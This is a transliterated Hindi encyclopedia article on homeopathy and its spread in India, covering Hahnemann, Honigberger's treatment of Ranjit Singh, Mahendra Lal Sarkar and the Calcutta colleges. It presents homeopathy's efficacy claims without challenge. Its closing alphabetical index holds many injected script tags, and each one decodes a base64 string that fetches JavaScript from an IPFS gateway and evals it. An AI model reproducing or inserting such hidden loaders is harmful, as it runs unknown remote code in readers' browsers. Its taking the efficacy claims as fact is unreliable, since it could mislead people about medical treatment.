होमियोपैथी

homiyopaithi (aangrezi: Homeopathy) 19vian shatabdi mean vishesh roop se lokapriy chikitsa vijnan ki ek paddhati hai. similiya similibas kyooreantar ke ghoshit siddhaant, 'jaise ko taisa thik karata hai' par adharit yah paddhati marizoan ke lie un davaoan athava any ilajoan ki anushansa karati hai, jo svasth manushyoan mean unhian bimariyoan ke lakshan paida karate haian, jinaka upachar kiya ja raha hai.

shuruat

'samanata ke siddhaant' par adharit chikitsa vijnan ki is praddhati ki shuruat jarman chikitsak saimyual hainimain ne 1796 mean ki thi. unhoanne dava kiya ki maleriya ke upachar ke lie prayukt kunain ki ek b di matra ne unamean maleriya ke rogiyoan ke saman lakshan paida kie. at: unhoanne nishkarsh nikala ki sabhi vyadhiyaan unhian davaoan se sabase achchhi tarah upacharik hoti haian, jo svasth manushyoan mean in vyadhiyoan ke lakshan paida karean. ise siddh karane ke lie unhoanne kee prakar ki davaoan ke prayog bhi aranbh kie. hainimain manate the ki dava ki uchch matra bimari ko badhati hai. isalie aushadhiyoan ki prabhavashilata tanukaran ke sath badhati hai. isi ke anusar adhikaansh homiyopaithik chikitsak aushadhi ki kam matraoan ke prabhav par vishvas karate haian. kee rogiyoan aur kuchh chikitsakoan ke lie homiyopaithi raktastrav, shodhan, bahuaushadh vijnan aur us samay ki any kathor chikitsa pranaliyoan ka ek sukhad vikalp thi. halaanki 20vian shatabdi mean kuchh log homiyopaithi ko adhik mahattv nahian dete the aur usamean vyadhi ke karanoan ki apeksha usake lakshanoan par dhyan keandrit karane ke karan alochana karate the. isake bavajood ab bhi bahut se log homithopaithi ko manate haian aur isaki kee rashtriy aur aantarrashtriy samitiyaan haian, jinamean iantaraneshanal homiyopaithik medikal lig, jisaka mukhyalay blomeandal, nidaralaiand mean hai, bhi shamil hai.

bharat mean homiyopaithi

kaha jata hai ki bharatiy upamahadvip mean homiyopaithi ek jarman yatri ke sath 1801 mean us samay pahuanchi, jab hainimain ne orgenon dar reshanelen dilakuande ka apana pahala sanskaran prakashit kiya hi tha. vastav mean prachin hiandoo chikitsak tathakathit samanata ke siddhaant ko upachar ke siddhaantoan mean se ek manate the. bhagavat puran mean ek sanskrit shlok mean poochha gaya hai 'kya yah saty nahian hai ki jab kisi sajiv prani dvara grahan kiya gaya koee padarth kisi vyadhi ka karan banata hai, to vahi padarth kisi vishesh prakar se anushansit kie jane par usi prakar ki vyadhi ko door karata hai.?'

itihas

homiyopaithi chikitsa ke aranbh ka adhik spasht praman 1839 ka hai, jab panjab ke maharaja ranajit sianh ki svar-nalika ke lakave v shoph (eedima) ka ilaj lahaur yatra par ae ek yatri d aau. martin honibargar ne kiya, jinhean maharaja ki chikitsa karane ko kaha gaya tha. sthaniy chikitsak unhean rahat dilane mean viphal rahe the, lekin honigarbar maharaja ko dalkamara (ek homiyopaithi aushadhi) ki kuchh chhoti khurakoan ke madhyam se thik karane mean saphal rahe. honibargar traansilvaniya ke rahane vale the. unhoanne sanbhavat: d aau. es. hainimain ke sanpark mean akar homiyopaithi ke adhar tattvoan ko grahan kiya tha. unhean aushadhiy paudhoan ka bhi achchha jnan tha, jo unaki pustak tharti faiv iyars in d eest se spasht hai. vah lagabhag 1835 mean lahaur ae aur vahaan lagabhag 15 varshoan tak rahe. maharaja ka saphal upachar karane ke karan unhean rajavaidy niyukt kiya gaya. unhoanne kashmir ki yatra kar us kshetr ke aushadhiy paudhoan ki visheshataoan aur gunoan ka adhyayan bhi kiya tha. rajavaidy ke roop mean rahate hue honibargar ne un paddhatiyoan aur prakriyaoan ka bhi adhyayan kiya, jinase ayurvedik aur yoonani chikitsak rogiyoan ka upachar karate the. unhoanne unaki gatividhiyoan aur vah kaise maharaja dvara honibargar par kie ge anugrah se jalane lage, isak rochak vivaran diya hai. honibargar ko barood karakhane aur bandooq nirman karakhane ka adhikshak niyukt kar diya gaya. unhean nagar mean bane chikitsalay (darul-shafa) ka prabhar nahian diya gaya, jisaka prabandhan do dhani faqiroan dvara kiya jata tha. bad mean jab aangrez bharat ae, unhoanne nagar ke bahar ek chikitsalay banane ka adesh diya aur is sansthan ka prabandh honibargar ko sauanpa. unhoanne apani pustak mean likha, 'unaka pratiksha kaksh rogiyoan se hamesha bhara rahata tha, jo n keval aushadhiyoan ki mohak bahyakriti davaoan ke mithe svad aur suandar lak di ke dibboan, jinamean ve di jati thian, se akarshit hote the; balki us prabhavashilata ke karan bhi, jo unhoanne in mithaiyoan mean paee.' bad mean darabar ne unhean lahaur karagrih mean bhi ek chikitsalay sthapit karane ka adesh diya, jo usi sthan par tha, jahaan kuchh samay poorv unhoanne barood ka karakhana banaya tha, unhoanne yah bhi likha ki aantim do varsho mean unhoanne 800 rogiyoan ka upachar kiya aur 12 mah mean keval 21 rogiyoan ki mrityu huee, jinaki mrityu huee, unhean ganbhir ghav, sookha rog ya pechish thi. honibargar ne 1849 mean panjab chho d diya aur kalakatta (vartaman kolakata) chale ge.

homiyopaithi upachar

bangal, visheshakar kalakatta mean kuchh chikitsakoan ne homiyopaithi upachar aranbh kar diya tha. d aau. tonar unamean se ek the. dakshin mean jarman dharm pracharak linar, grinar aur hevich 1834 mean homiyopaithi aushadhiyoan ka prayog nirdhanoan ke lie kar rahe the. unake bad farad myoolar ae, jinhoanne maiangalor mean chikitsa kary aranbh kiya. us samay fadar myoolar dvara ropit chhote bij ab b de hokar ek uchch khyati prapt homiyopaithi mahavidyalay ka bhag ban gar haian. unhoanne homiyopaithik aushadhiyoan ke nirman ki ek chhoti ikaee bhi shuroo ki thi. yah ikaee bhi ab bahut b di ho gee hai. kalakatta mean ek vidvan, lekin avisheshajn, baboo rajeandr lal datt ne homiyopaithi aushadhiyoan ke prabhav ka adhyayan kiya aur ganbhir bimariyoan ke upachar ke lie bahut prasiddh hue. 1863 mean british medikal esosieshan ki bangal shakha ke shubharanbh ke avasar par ayojit karyakram mean elopaithik chikitsa ke statak d aau. em.el. sarakar ne homiyopaithi ki tivr nianda karate hue ek bhashan diya. unhean sangathan ka pahala sachiv aur tin varsh bad usaka upadhyaksh chun liya gaya.

d aau. sarakar

yah vah bhashan tha, jisamean ki gee homiyopaithi ki tivr nianda ne rajeandr baboo ka dhyan akrisht kiya. unhoanne d aau. sarakar ko homiyopaithi ki vaijnanik prakriti ka vishvas dikhane ka nishchay kiya, kyoanki isake prabhav ke bare mean ashvast karane par aisa vyakti ise vijnan ka prabal samarthak ho sakata tha. d aau. sarakar rajeandr baboo ke p dasi the aur unhoanne rajeandr baboo dvara b di sankhya mean rogiyoan ka ilaj hote aur unhean thik hote dekha tha. unhoanne kuchh asadhy kahalane vali vyadhiyoan ka bhi rajeandr baboo dvara saphal upachar hota dekha tha. d aau. sarakar vijnan ke bhoolabhoot siddhaantoan ke prati samarpit ek shuddh aant:karan vale vyakti the. ek bar rajeandr baboo ke upachar ki or akrisht hone ki bad unhoanne homiyopaithi aushadhiyoan ke darshan v unake prabhav ka sanpoorn adhyayan kiya aur is paddhati se ilaj shuroo kar diya. vah homiyopaithi ki or unmukh ho ge aur 1867 mean isake bare mean ek spasht v khula bayan diya. unake parivartan ki khabar sunakar kalakatta ka samoocha elopaithi samuday hairat mean p d gaya. vah kalakatta vishvavidyalay ke chikitsa ke doosare snatakottar vidyarthi the aur chikitsashastr ke pratibhavan chhatr rahe the. unhean medikal esosieshan se nikal diya gaya aur vishvavidyalay se tyagapatr dene par vivash kiya gaya. kaha jata hai ki age chalakar vah homiyopaithi ke sabase mahanh vyaktitvoan v path-pradarshakoan mean se ek bane. unhoanne rajeandr datt ke kary ko age badhaya aur homiyopaithi aushadhiyoan ke vaijnanik chikitsa kary ko sthapit kiya. d aau. sarakar age chalakar 19vian shatabdi mean bharat ke sarvadhik jane-mane homiyopaithi chikitsakoan mean se ek banean.

vikas keandr

kalakatta, bharat mean homiyopaithi ka vikas keandr bana. yahaan ke d aau. pi.si. majoomadar ne amerika ke ek homiyopaithi chikitsa mahavidyalay se homiyopaithi chikitsa mean arhata prapt ki. bad mean unhoanne bharat mean pahale homiyopaithik medilak ianstityooshan ki sthapana ki aur 1881 mean prasiddh kalakatta homiyopaithik medikal k aaulej ki sthapana ki, jisane sare desh ke vidyarthiyoan mean homiyopaithi ke jnan ke prasar mean sahayata ki. homiyopaithi aushadhiyoan ki apoorti ke kshetr mean ek rasayanavijnani v aushadhi nirman d aau. mahesh chandr bhattachary ne vaijnanik adhar par achchhi gunavatta vali homiyopaithi aushadhiyoan ka nirman praranbh kiya. unhoanne pahala homiyopaithi aushadh-sangrah aangrezi aur baangla, donoan mean prakashit kiya. durbhagy se kee homiyopaithi chikitsak arhata prapt nahian thi aur aranbhik path-pradarshakoan mean se adhikaansh elopaithi chikitsak the, jo homiyopaithi aushadhiyoan ke sath prayog karane ke bad homiyopaithi ki or unmukh hue the.

homiyopaithi ki shiksha

bangal mean hi homiyopaithi chikitsa ke lie shiksha ka star nirdharit karane ki nianv rakhi gee aur 1943 mean janaral kauansil aiand stet faikalti aauf homiyopaithik medisin ka gathan kiya gaya. d aau. es.dablyoo. yoonan, d aau. je.en. majoodar, d aau. je.em. ghosh, d aau. es.ke. nag aur d aau. en.em. chaudhari jaise pramukh nam isase ju de the. bharat ke vibhajan se pahale kuchh praranbhik purogami homiyopaithi chikitsak kalakatta homiyopaithik medikal k aaulej se uttirn hue aur unhean janaral kauansil aiand stet faikalti dvara digri/diploma die ge. vibhajan ke bad inamean se kuchh chikitsakoan ne apana chikitsa kary pakistan aur baangladesh mean jamaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bharat jnanakosh khand-6 | prishth sankhya- 260

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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